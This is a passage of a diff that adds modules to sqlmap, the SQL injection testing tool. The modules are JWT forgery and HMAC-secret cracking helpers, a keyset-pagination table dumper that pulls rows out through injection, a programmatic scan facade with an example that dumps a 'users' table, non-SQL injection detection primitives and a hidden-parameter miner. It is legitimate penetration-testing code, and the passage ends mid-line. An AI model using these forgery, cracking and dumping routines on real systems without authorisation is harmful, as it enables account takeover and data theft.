True + >>> parseJWT(forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret"))["payload"]["user"] == "admin" + True + """ + + alg = (header.get("alg") or "none") + signingInput = "%s.%s" % (encodeSegment(header), encodeSegment(payload)) + + if alg.lower() == "none": + signature = "" + elif alg.upper() in HMAC_ALGORITHMS and key is not None: + digest = hmac.new(getBytes(key), getBytes(signingInput), HMAC_ALGORITHMS[alg.upper()]).digest() + signature = encodeBase64(digest, binary=False, safe=True) + else: + raise ValueError("unsupported algorithm '%s' for forging" % alg) + + return "%s.%s" % (signingInput, signature) + +def crackHMAC(token, secrets, limit=None): + """Try to recover the HMAC signing secret of an HS* token from an iterable of candidate secrets; returns + the secret on success (a full forgery primitive), else None. Purely offline - no requests. + + >>> token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + >>> crackHMAC(token, ["admin", "s3cr3t", "letmein"]) + 's3cr3t' + >>> crackHMAC(token, ["admin", "letmein"]) is None + True + """ + + data = parseJWT(token) + if not data or (data["header"].get("alg") or "").upper() not in HMAC_ALGORITHMS: + return None + + fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()] + signingInput = getBytes(data["signingInput"]) + target = decodeBase64(data["signature"], binary=True) + + for index, secret in enumerate(secrets): + if limit is not None and index >= limit: + break + secret = secret.strip() if hasattr(secret, "strip") else secret + if hmac.new(getBytes(secret), signingInput, fn).digest() == target: + return getText(secret) + + return None + +def auditJWT(token, secrets=None, crackLimit=None): + """Offline heuristic battery over a single JWT - the 'bad JWT setup' checks that bite in the real world and + CTFs. Returns findings as (id, severity, summary, detail); online oracle checks (does the server ACCEPT an + alg:none / bit-flipped / expired forgery) are layered on top by the caller, which owns response comparison. + + >>> sorted(_[0] for _ in auditJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.")) + ['alg-none', 'no-expiry'] + """ + + findings = [] + data = parseJWT(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + alg = (header.get("alg") or "").strip() + + # an unsigned token that the app already issued means forged claims need no key at all + if alg.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '%s' (unsigned)" % (alg or "none"), "claims can be forged with no key")) + + # a guessable HMAC secret is a full forgery primitive - crack it against the provided dictionary + if alg.upper() in HMAC_ALGORITHMS and secrets is not None: + secret = crackHMAC(token, secrets, crackLimit) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed")) + + # an asymmetric token may be vulnerable to RS/HS confusion if the public key is retrievable + if alg.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '%s'" % alg, "test RS/HS confusion if the public key is obtainable (JWKS/TLS)")) + + # header fields that pull in attacker-controllable key material (CVE-2018-0114 class) + for field in ("jku", "x5u", "jwk", "x5c"): + if field in header: + findings.append(("header-key-injection", "high", "header carries '%s'" % field, "attacker-hosted key material may be trusted")) + + # 'kid' commonly feeds a key lookup (file/DB/command) - a natural injection point + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid'", "candidate injection point (SQLi/LFI/path/command via key lookup)")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "token does not expire")) + + return findings diff --git a/lib/utils/keysetdump.py b/lib/utils/keysetdump.py new file mode 100644 index 00000000000..eaed7b2f9b0 --- /dev/null +++ b/lib/utils/keysetdump.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import isNoneValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.settings import NULL +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode + +# back-end DBMSes whose dump table reference is schema/database-qualified (db.table). +# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the +# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users). +KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB) + +def _tableRef(tbl): + dbms = Backend.getIdentifiedDbms() + if dbms in (DBMS.ORACLE,) and conf.db: + return "%s.%s" % (conf.db.upper(), tbl.upper()) + if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db: + return "%s.%s" % (conf.db, tbl) + return tbl + +def keysetSupported(): + """ + Whether the back-end DBMS declares the keyset (seek) pagination queries and a + cursor source (a physical row-id pseudo-column or a primary-key catalog lookup) + """ + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode) + +def _integerCursor(tbl, cursor): + """ + Whether every cursor column holds integer values, probed via MIN(col). + + Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a + numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be + escaped to a binary/hex literal whose order can differ from MIN's collation and silently + skip rows, so they are rejected here and fall back to the OFFSET dump. + """ + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + ref = _tableRef(tbl) + + for column in cursor: + query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref)) + value = unArrayizeValue(inject.getValue(query)) + + # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows + if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None: + return False + + return True + +def resolveKeysetCursor(tbl, colList): + """ + Returns the list of column(s) forming a stable, indexed cursor for keyset (seek) + pagination of the table: a declared physical row-id pseudo-column when available, + otherwise the indexed primary key (single or composite) resolved from the catalog. + Returns None when neither applies or a key column is not part of the dumped columns. + """ + + if not keysetSupported(): + return None + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + + # 1) a declared physical row-id pseudo-column (always unique + indexed where supported) + if "rowid" in dumpNode.blind: + return [dumpNode.blind.rowid] + + # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared) + pkNode = dumpNode.primary_key + + # Note: schema/table are string literals in the catalog lookups, so the unquoted + # (identifier-unescaped) names are used (the dump queries keep the quoted form) + unsafeDb = unsafeSQLIdentificatorNaming(conf.db) + unsafeTbl = unsafeSQLIdentificatorNaming(tbl) + + # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row + # filter from --where must not be appended to them + query = pkNode.count % (unsafeDb, unsafeTbl) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + try: + count = int(count) + except (ValueError, TypeError): + return None + + if count < 1: + return None + + # composite keys require the row-value/ordered keyset form + if count > 1 and "keyset_ordered" not in dumpNode.blind: + return None + + cursor = [] + for index in xrange(count): + query = pkNode.query % (unsafeDb, unsafeTbl, index) + column = unArrayizeValue(inject.getValue(query)) + + if not column: + return None + + match = None + for _ in colList: + if _ and _.lower() == column.lower(): + match = _ + break + + if match is None: + return None + + cursor.append(match) + + # restrict to integer cursors: a string key's escaped-literal comparison may order + # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET) + if not _integerCursor(tbl, cursor): + return None + + return cursor + +def _lit(value): + """ + Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys + (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped + (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). + """ + + if value is not None and re.match(r"\A-?[0-9]+\Z", value): + return value + return unescaper.escape(value, False) + +def _embed(template, value, *fixed): + """ + Fills a single-column keyset template whose trailing placeholder is the cursor value. + """ + + template = template.replace("'%s'", "%s") + return template % (fixed + (_lit(value),)) + +def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + field = agent.preprocessField(tbl, cursor) + + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + pivotValue = None + + # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset + if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind: + query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2)) + seed = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(seed) or seed == NULL: + return + + pivotValue = safechardecode(seed) + + produced = 0 + + while produced < target: + # Advance with ORDER BY ... LIMIT 1 (like the composite path), NOT MIN(): the value-extraction + # casts the aggregated column to VARCHAR *inside* MIN(), yielding a LEXICAL minimum ('10' after + # '1') that disagrees with the numeric '>' comparison and silently skips rows (2..9, 11..). The + # ORDER BY is on the raw (numeric) column, so the next cursor value is the true successor. + condition = "1=1" if pivotValue is None else "%s>%s" % (field, _lit(pivotValue)) + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, field)) + value = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(value) or value == NULL: + break + + value = safechardecode(value) + + # safety latch against a non-advancing cursor (e.g. encoding edge cases) + if value == pivotValue: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + pivotValue = value + + for column in colList: + if column == cursor: + colValue = pivotValue + else: + query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field) + query = agent.whereQuery(query) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + fields = [agent.preprocessField(tbl, _) for _ in cursorCols] + orderExpr = ','.join(fields) + + startSkip = (conf.limitStart - 1) if conf.limitStart else 0 + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + prev = None + produced = 0 + seen = 0 + + while produced < target and seen < count: + if prev is None: + condition = "1=1" + else: + # ANSI row-value (tuple) comparison advances the composite cursor lexicographically + condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev)) + + tup = [] + for field in fields: + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr)) + value = unArrayizeValue(inject.getValue(query)) + tup.append(None if isNoneValue(value) else safechardecode(value)) + + if all(isNoneValue(_) for _ in tup): + break + + if prev is not None and tup == prev: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + prev = tup + seen += 1 + + if seen <= startSkip: + continue + + equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup)) + + for column in colList: + if column in cursorCols: + colValue = tup[cursorCols.index(column)] + else: + query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals)) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def keysetDumpTable(tbl, colList, count, cursor): + """ + Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of + one or more indexed key columns): the next row is reached with a >/row-value comparison + against the previous cursor (index range scan) and every other column is fetched with an + exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no + per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump + (single-column cursors), after which the walk is pure keyset. + """ + + tableRef = _tableRef(tbl) + lengths = {} + entries = {} + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + if len(cursor) == 1: + _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) + else: + _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) + + debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) + logger.debug(debugMsg) + + return entries, lengths diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 00000000000..c30cdeff322 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at <root>/lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan/<id>/data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/lib/utils/nonsql.py b/lib/utils/nonsql.py new file mode 100644 index 00000000000..23e38d3638b --- /dev/null +++ b/lib/utils/nonsql.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql, +--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same +response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic; +this module is the single home for that shared machinery so the behavior is uniform and reviewable +in one place rather than drifting across six files. +""" + +import difflib +import re + +from lib.core.data import conf +from lib.core.settings import UPPER_RATIO_BOUND +from lib.parse.html import htmlParser + +# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE +# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately +# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time. +EXTRACT_MATCH_MARGIN = 0.2 + +# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must +# never be fed to a boolean oracle as if they were application content. +BLOCKED_HTTP_CODES = frozenset((403, 429)) + +# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the +# DBMS-specific errors.xml signatures that htmlParser() recognizes +_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)") + + +def ratio(first, second): + """Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two + response bodies) - one implementation instead of six identical copies.""" + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def blockedStatus(code): + """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit + 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these + (and for transport exceptions) so the boolean routines, which reject None, can never decide on + a non-answer.""" + return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES) + + +def sqlErrorPresent(page): + """True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature + from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The + non-SQL detectors treat such a page as NOT a valid boolean template, so a payload that merely + trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL- + injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL.""" + page = page or "" + return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page)) + + +# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the +# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is +# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means +# "really empty", and they must stay distinguishable in the output. +INCONCLUSIVE_MARK = "<inconclusive>" + + +class InconclusiveError(Exception): + """Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value + extractors catch it to ABORT the current value (return what was recovered so far, marked + incomplete) instead of substituting a semantic False - which would corrupt a length, pick the + wrong half of a bisection, or truncate enumeration.""" + + +class Decision(object): + """Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an + ambiguous comparison (equally close to both models, close to neither, or a transport/blocked + anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a + value, pick the wrong half of a bisection or truncate enumeration.""" + TRUE = "TRUE" + FALSE = "FALSE" + INCONCLUSIVE = "INCONCLUSIVE" + + +def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Classify a blind-inference response against the two calibrated models, returning a Decision. + TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the + FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to + neither (so the caller can retry or abort rather than guess).""" + if page is None: + return Decision.INCONCLUSIVE + simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page) + if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse: + return Decision.TRUE + if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue: + return Decision.FALSE + if (simTrue - simFalse) >= margin: + return Decision.TRUE + if (simFalse - simTrue) >= margin: + return Decision.FALSE + return Decision.INCONCLUSIVE + + +def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True): + """Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache- + bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a + 0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after + the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than + corrupt it), else return False.""" + d = decide(page, trueModel, falseModel, margin) + tries = 0 + while d is Decision.INCONCLUSIVE and tries < retries: + page = resend() + if page is None: + break + d = decide(page, trueModel, falseModel, margin) + tries += 1 + if d is Decision.INCONCLUSIVE and abort: + raise InconclusiveError() + return d is Decision.TRUE + + +def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry). + A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a + changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit.""" + return decide(page, trueModel, falseModel, margin) is Decision.TRUE + + +def userOracleActive(): + """True when the user supplied an explicit true/false response signal (--string / --not-string / + --regexp) that the non-SQL techniques should honor instead of relying on raw page similarity.""" + return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None)) + + +def userDecision(page): + """Classify a response with the user's explicit oracle (--string / --not-string / --regexp), + returning True/False, or None when no override is set (caller falls back to content comparison). + Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available. + + This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the + same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio.""" + page = page or "" + if getattr(conf, "string", None): + return conf.string in page + if getattr(conf, "notString", None): + return conf.notString not in page + if getattr(conf, "regexp", None): + return re.search(conf.regexp, page) is not None + return None diff --git a/lib/utils/paraminer.py b/lib/utils/paraminer.py new file mode 100644 index 00000000000..a6a67f974b6 --- /dev/null +++ b/lib/utils/paraminer.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib + +from lib.core.compat import xrange +from lib.core.common import getFileItems +from lib.core.common import paramToDict +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.settings import DIFF_TOLERANCE +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import PARAMETER_MINING_BUCKET_SIZE +from lib.request.connect import Connect as Request + +# Benign, broadly-stable value used both to check whether a discovered parameter is safe to add and +# as its seed during testing (a random value would error out an integer/id context and defeat inference) +PROBE_VALUE = "1" + +def _canary(): + return randomStr(10, lowercase=True) + +def _fetch(get): + """ + Requests the target with the given GET query string, returning a (page, HTTP code) pair. + """ + + try: + page, _, code = Request.getPage(get=get or None, silent=True, raise404=False) + except Exception: + page, code = None, None + + return (page or ""), code + +def _ratio(first, second): + """ + Similarity of two response bodies, mirroring the core page comparison (see comparison.py): an + exact match, a length ratio for oversized bodies, otherwise difflib's quick_ratio(). + """ + + if not first or not second: + return 0.0 + + if first == second: + return 1.0 + + if any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (first, second)): + ratio = 1.0 * len(first) / len(second) + return ratio if ratio <= 1 else 1.0 / ratio + + return difflib.SequenceMatcher(None, first, second).quick_ratio() + +def _differs(page, base, floor): + """ + True when 'page' departs from the baseline by more than the target's own dynamic jitter ('floor'). + """ + + return bool(page) and _ratio(page, base) < floor - DIFF_TOLERANCE + +def _confirm(baseGet, name, base, floor): + """ + Confirms a single candidate in isolation with two differently-valued probes. Returns 'reflected' + when a value is echoed back (caught here even if a shared bucket hid it behind a preceding + parameter), 'behavioral' when both probes resemble each other yet depart from the baseline (its + presence, not its value, matters), otherwise None. + """ + + def _get(value): + pair = "%s=%s" % (name, value) + return "%s&%s" % (baseGet, pair) if baseGet else pair + + canaries = (_canary(), _canary()) + first, second = _fetch(_get(canaries[0]))[0], _fetch(_get(canaries[1]))[0] + + if not (first and second): + return None + + if (canaries[0] in first or canaries[1] in second) and not any(_ in base for _ in canaries): + return "reflected" + + if _ratio(first, second) < floor - DIFF_TOLERANCE: # value-dependent yet not reflected -> unreliable + return None + + if _differs(first, base, floor) and _differs(second, base, floor): + return "behavioral" + + return None + +def _chunks(sequence, size): + for i in xrange(0, len(sequence), size): + yield sequence[i:i + size] + +def _discover(candidates, baseGet, base, floor): + """ + Probes candidate names in buckets (one shared request per bucket, each name carrying its own + random canary) and returns the confirmed ones as (name, reason) pairs. Reflection is resolved + straight from the bucket response; the rest are confirmed individually only when the bucket + actually moved the response, so a target that ignores every candidate stays cheap. + """ + + found = [] + + for chunk in _chunks(candidates, PARAMETER_MINING_BUCKET_SIZE): + canaries = dict((name, _canary()) for name in chunk) + query = "&".join("%s=%s" % (name, canaries[name]) for name in chunk) + page = _fetch("%s&%s" % (baseGet, query) if baseGet else query)[0] + + if not page: + continue + + pending = [] + for name in chunk: + if canaries[name] in page and canaries[name] not in base: + found.append((name, "reflected")) + else: + pending.append(name) + + if pending and _differs(page, base, floor): + for name in pending: + reason = _confirm(baseGet, name, base, floor) + if reason: + found.append((name, reason)) + + return found + +def _commit(found, baseGet, baseCode): + """ + Adds the discovered parameters (seeded with PROBE_VALUE) to the GET test scope. One that turns + the request into a server error the baseline did not have would shadow and corrupt the testing + of every sibling parameter, so it is reported and held back rather than degrading detection. + """ + + safe, disruptive = [], [] + + for name, _ in found: + pair = "%s=%s" % (name, PROBE_VALUE) + code = _fetch("%s&%s" % (baseGet, pair) if baseGet else pair)[1] + if code is not None and code >= 500 and not (baseCode is not None and baseCode >= 500): + disruptive.append(name) + else: + safe.append(name) + + if disruptive: + logger.warning("held back parameter(s) that break the base request with a test value (test them explicitly with '-p'): %s" % ", ".join("'%s'" % _ for _ in disruptive)) + + if not safe: + return + + logger.info("adding %d discovered parameter(s) to the test scope: %s" % (len(safe), ", ".join("'%s'" % _ for _ in safe))) + + additions = "&".join("%s=%s" % (name, PROBE_VALUE) for name in safe) + conf.parameters[PLACE.GET] = "%s&%s" % (baseGet, additions) if baseGet else additions + conf.paramDict[PLACE.GET] = paramToDict(PLACE.GET, conf.parameters[PLACE.GET]) + +def mineParameters(): + """ + Discovers hidden (unlinked) GET parameters the target still processes and queues the confirmed + ones for the regular injection tests, using two independent oracles (value reflection and a + behavioral side effect on the response). + """ + + if conf.data or (conf.method and conf.method != HTTPMETHOD.GET): + singleTimeWarnMessage("'--mine-params' currently supports GET parameters only") + return + + baseGet = conf.parameters.get(PLACE.GET) or "" + existing = set(conf.paramDict.get(PLACE.GET) or {}) + candidates = [_ for _ in 